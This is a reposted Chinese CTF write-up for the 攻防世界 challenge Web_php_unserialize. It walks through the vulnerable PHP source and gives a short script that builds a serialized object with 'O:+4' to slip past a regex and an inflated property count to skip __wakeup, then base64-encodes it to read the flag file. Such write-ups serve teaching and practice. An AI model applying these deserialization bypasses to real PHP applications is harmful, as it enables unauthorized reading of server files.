WEB:Web_php_unserialize

这篇具有很好参考价值的文章主要介绍了WEB:Web_php_unserialize。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

背景知识

        反序列化函数及绕过

        正则表达式及绕过

题目

WEB:Web_php_unserialize,攻防世界,网络安全

WEB:Web_php_unserialize,攻防世界,网络安全

源码解析(参考链接在最后)

<?php 
class Demo {           //定义一个类
    private $file = 'index.php';			//变量属性
    public function __construct($file) {      //类方法
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 		//wakeup函数 返回index.php所以必须绕过次函数
            //the secret is in the fl4g.php     //flag所在文件
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {        		 //判断是否传入参数
    $var = base64_decode($_GET['var']);  	//对传入参数进行base64加密
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则检查
        die('stop hacking!'); 
    } else {
        @unserialize($var);      //进行反序列化
    } 
} else { 
    highlight_file("index.php"); 	//返回想要结果
} 
?>

 从上述源码分析可知,需满足三个条件

1.要绕过wake up 函数
__wakeup()
是在反序列化操作中起作用的魔法函数,当unserialize的时候,会检查时候存在__wakeup()函数,如果存在的话,会优先调用__wakeup()函数。

绕过:
__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

2 要绕过正则表达式
(preg_match(’/[oc]:\d+:/i’, $var))
而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配
绕过
而O:+4没被过滤说明绕过了过滤而且最后的值不变。
3.必须是base64加密

编写php脚本

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$A = new Demo ('fl4g.php');					//创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C); 		//wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密

?>

运行结果

WEB:Web_php_unserialize,攻防世界,网络安全

 得到flagWEB:Web_php_unserialize,攻防世界,网络安全

 参考链接:
攻防世界-Web_php_unserialize详解_Mr H的博客-CSDN博客

 文章来源地址https://www.toymoban.com/news/detail-595878.html

到了这里,关于WEB:Web_php_unserialize的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 攻防世界-WEB-Web_php_include

    打开靶机 通过代码审计可以知道,存在文件包含漏洞,并且对伪协议php://进行了过滤。 发现根目录下存在phpinfo 观察phpinfo发现如下: 这两个都为on 所以我们就可以使用data://伪协议 payload如下: 访问新连接 上面的payload就可以实现命令执行了 找了半天发现flag在fl4gisisish3r3.p

    2024年02月09日
    浏览(40)
  • web安全php基础_php数据类型

    PHP 支持以下几种数据类型: String(字符串) Integer(整型) Float(浮点型) Boolean(布尔型) Array(数组) Object(对象) NULL(空值) Resource(资源类型) PHP 字符串 一个字符串是一串字符的序列,就像 “Hello world!”。 可以将任何文本放在单引号和双引号中: 执行效果如下

    2024年02月12日
    浏览(55)
  • web安全php基础_搭建php环境

    首先打开phpstudy的网站栏点击创建网站,新建一个网站(域名随便输反正是局域网)然后点击确认 如下,网站便创建好了 打开浏览器输入刚刚创建网站时输入的域名,即可看见我们的网站 然后网站好了,就可以新建项目,打开phpstorm,然后点击new project新建项目, 然后在loca

    2024年02月13日
    浏览(67)
  • Web安全——PHP基础

    PHP (全称: PHP : Hypertext Preprocessor ,即\\\" PHP : 超文本预处理器 \\\")是一种通用 开源脚本语言 。 在一个php文件中可以包括以下内容: PHP 文件可包含文本、 HTML 、 JavaScript 代码和 PHP 代码 PHP 代码 在服务器上执行 ,结果以纯 HTML 形式返回给浏览器 PHP 文件的 默认文件扩展名

    2024年02月11日
    浏览(72)
  • web安全php基础_php语法格式与注释

    php脚本以php 开始 以 ?结束 但是先前创建页面的时候我们发现phpinfo只有php开头,并没有?结尾 在这里我们可以手动给它加上?结尾 PHP指令分隔符   与C、Perl及Java一样,PHP 需要在每个语句后用分号结束指令。在编写 PHP 代码的时候,我们需要在每一行代码指令后面添加一个分

    2024年02月12日
    浏览(44)
  • web安全php基础_php之string对象详解

    字符串变量用于包含有字符的值。 在创建字符串之后,我们就可以对它进行操作了。您可以直接在函数中使用字符串,或者把它存储在变量中。 在下面的实例中,我们创建一个名为 txt 的字符串变量,并赋值为 “Hello world!” 。然后我们输出 txt 变量的值: 输出如下 在 PHP 中

    2024年02月12日
    浏览(43)
  • 【PHP代码审计】ctfshow web入门 php特性 93-104

    这段PHP代码是一个简单的源码审计例子,让我们逐步分析它: include(\\\"flag.php\\\"); : 这行代码将 flag.php 文件包含进来。如果 flag.php 文件中定义了变量 $flag ,它将在当前文件中可用。 highlight_file(__FILE__); : 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们

    2024年02月14日
    浏览(41)
  • 【php】windows下php运行已有php web项目环境配置教程

    本文操作系统使用的是win11,软件PhpStorm 2023.1 要安装的php版本可以在composer.json看到,下载安装对应版本 windows下载地址https://windows.php.net/download windows 8.0以前的版本在这里找https://windows.php.net/downloads/releases/archives/ Linux下载链接https://www.php.net/downloads nts表示非线程安全版本,我

    2024年02月11日
    浏览(47)
  • PHP基于MVC的Web应用

    预计更新 第一章:入门 1.1 环境搭建 1.2 变量和数据类型 1.3 控制流程 第二章:函数 2.1 函数的定义和调用 2.2 函数的参数和返回值 2.3 匿名函数和闭包 第三章:数组 3.1 数组的基本操作 3.2 多维数组 3.3 数组函数和排序 第四章:文件操作 4.1 文件读写 4.2 目录操作 4.3 文件上传和

    2024年02月08日
    浏览(40)
  • web安全php基础_php常量及可变变量(魔术变量)

    php中常量是一个简单值的标识符。该值在脚本中不能改变。 一个常量由英文字母、下划线、和数字组成,但数字不能作为首字母出现。 (常量名不需要加 $ 修饰符)。 常量有两点需要特别注意的地方 常量在整个脚本中都可以使用。 常量值被定义后,在脚本的其他任何地方都不

    2024年02月12日
    浏览(56)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包